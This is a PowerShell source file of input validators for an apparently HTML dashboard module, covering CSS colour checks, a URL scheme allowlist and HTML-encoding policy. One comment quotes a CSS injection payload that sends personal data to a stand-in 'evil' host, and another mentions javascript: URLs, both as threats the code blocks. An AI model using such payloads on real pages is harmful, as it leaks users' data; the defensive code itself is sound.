Private/Test-DhSafeInput.ps1
|
function Test-DhSafeCssColor { <# .SYNOPSIS Validate a user-supplied CSS colour for safe use in inline style="…" markup. .DESCRIPTION Several public cmdlets accept a -Color (or per-item Color) string that the JS renderer interpolates into style="background: <Color>" via innerHTML. The HTML-escape used elsewhere (esc()) escapes < > & " but does NOT escape the CSS metacharacters : ; ( ) — so a malicious caller supplying e.g. red; background-image: url(http://evil/log?u=PII) would inject arbitrary CSS rules into the style attribute. This validator accepts only the four shapes that are useful for chart colours and rejects everything else with a deterministic, descriptive error. Accepted shapes: - #RGB / #RGBA / #RRGGBB / #RRGGBBAA (3-, 4-, 6-, 8-digit hex) - rgb(...) / rgba(...) / hsl(...) / hsla(...) — argument list restricted to digits, ., comma, %, space - var(--token) — CSS custom-property reference (any --token name) - a single CSS named colour token (e.g. 'red', 'darkblue', 'transparent') .PARAMETER Color The colour string to validate. Empty / null are treated as "no colour supplied" and return $null (caller emits no inline-style attribute). .PARAMETER Context Free-form caller identifier used in the error message (e.g. "Add-DhPieChart slice 'Available'"). #> param( [string] $Color, [string] $Context = 'colour value' ) if ([string]::IsNullOrWhiteSpace($Color)) { return $null } $trimmed = $Color.Trim() $patterns = @( '^#[0-9a-fA-F]{3,4}$', # #RGB or #RGBA '^#[0-9a-fA-F]{6}$', # #RRGGBB '^#[0-9a-fA-F]{8}$', # #RRGGBBAA '^rgba?\(\s*[0-9.,\s%]+\s*\)$', # rgb()/rgba() '^hsla?\(\s*[0-9.,\s%]+\s*\)$', # hsl()/hsla() '^var\(\s*--[A-Za-z0-9_-]+\s*\)$', # var(--token) '^[a-zA-Z]{3,32}$' # named colour ) foreach ($p in $patterns) { if ($trimmed -match $p) { return $trimmed } } throw "$Context : '$Color' is not a recognised CSS colour. Pass a hex literal (#fff / #ffffff), rgb()/rgba(), hsl()/hsla(), var(--token), or a CSS named colour." } function Test-DhSafeActionUrl { <# .SYNOPSIS Validate a user-supplied URL before it flows into window.open() inside the generated dashboard. .DESCRIPTION Add-DhAlertBanner -Action @{Url=…} and Add-DhSummary tile Action.Url are both passed straight to window.open(url, '_blank', 'noopener') by the JS renderer. Without a scheme allowlist, a caller (or upstream tainted data piped into a caller) could supply javascript:… and execute script inside the dashboard's origin. Allowed schemes: http:, https:, mailto:, tel:, and a leading '#' (in-page anchor). Everything else throws. .PARAMETER Url The URL to validate. Null / empty returns the empty string (no Url supplied — the cmdlet caller handles the "Url-not-set" case). .PARAMETER Context Free-form caller identifier used in the error message. #> param( [string] $Url, [string] $Context = 'Action Url' ) if ([string]::IsNullOrWhiteSpace($Url)) { return '' } if ($Url -match '^(https?:|mailto:|tel:|#)') { return $Url } throw "$Context : '$Url' uses a scheme that is not allowed. Action Url must start with http:, https:, mailto:, tel:, or '#'." } function Test-DhLooksLikeHtml { <# .SYNOPSIS Heuristic — does this string appear to contain HTML markup? .DESCRIPTION Used only to decide whether to emit the -AllowHtml deprecation warning. Deliberately conservative: matches an opening tag (`<div`, `</p`, `<!--`) or a named/numeric HTML entity (`&`, `'`, `/`). False positives here just produce an extra (harmless) warning; they never change rendering. Not a security control — the actual encoding decision is driven purely by the caller's -AllowHtml value. #> param([string] $s) if ([string]::IsNullOrEmpty($s)) { return $false } return ($s -match '<[a-zA-Z/!]') -or ($s -match '&(#[0-9]+|#x[0-9a-fA-F]+|[a-zA-Z][a-zA-Z0-9]*);') } function ConvertTo-DhSafeContent { <# .SYNOPSIS Apply the -AllowHtml policy to a raw-HTML content string. .DESCRIPTION Four cmdlets inject caller-supplied content into the DOM via innerHTML: Add-DhHtmlBlock (-Content), Add-DhTabs (per-tab Content), Add-DhCollapsible (-Content), and Add-DhAlertBanner (-Message). Each routes its content through this helper so the -AllowHtml behaviour and the 2.0.0 deprecation warning are defined in exactly one place. Behaviour: -AllowHtml $false -> the content is HTML-encoded (rendered as literal text). Use for untrusted / external data. -AllowHtml $true -> the content is returned verbatim (raw markup). This is the v1.x default. If the caller did NOT pass -AllowHtml explicitly AND the content looks like HTML, a one-time-per-call deprecation warning is emitted noting that the default flips to $false in DashHtml 2.0.0. Encoding uses [System.Net.WebUtility]::HtmlEncode — always available in .NET (PowerShell 7) with no assembly load, and it encodes < > & " ' . .PARAMETER Content The raw content string. .PARAMETER AllowHtml The resolved value of the cmdlet's -AllowHtml parameter. .PARAMETER Explicit $true when the caller passed -AllowHtml explicitly (i.e. $PSBoundParameters.ContainsKey('AllowHtml')). Suppresses the deprecation warning — an explicit choice is never nagged. .PARAMETER Context Caller identifier used in the warning message (e.g. "Add-DhHtmlBlock 'intro'"). #> param( [string] $Content, [bool] $AllowHtml, [bool] $Explicit, [string] $Context = 'content' ) if (-not $AllowHtml) { return [System.Net.WebUtility]::HtmlEncode($Content) } if (-not $Explicit -and (Test-DhLooksLikeHtml $Content)) { Write-Warning ("$Context : content contains HTML and is rendered as raw markup. " + "DashHtml 2.0.0 will change the -AllowHtml default to `$false (HTML-encoded). " + "Pass -AllowHtml:`$true to keep raw markup, or -AllowHtml:`$false to encode " + "untrusted data now (recommended for any externally-sourced content).") } return $Content } |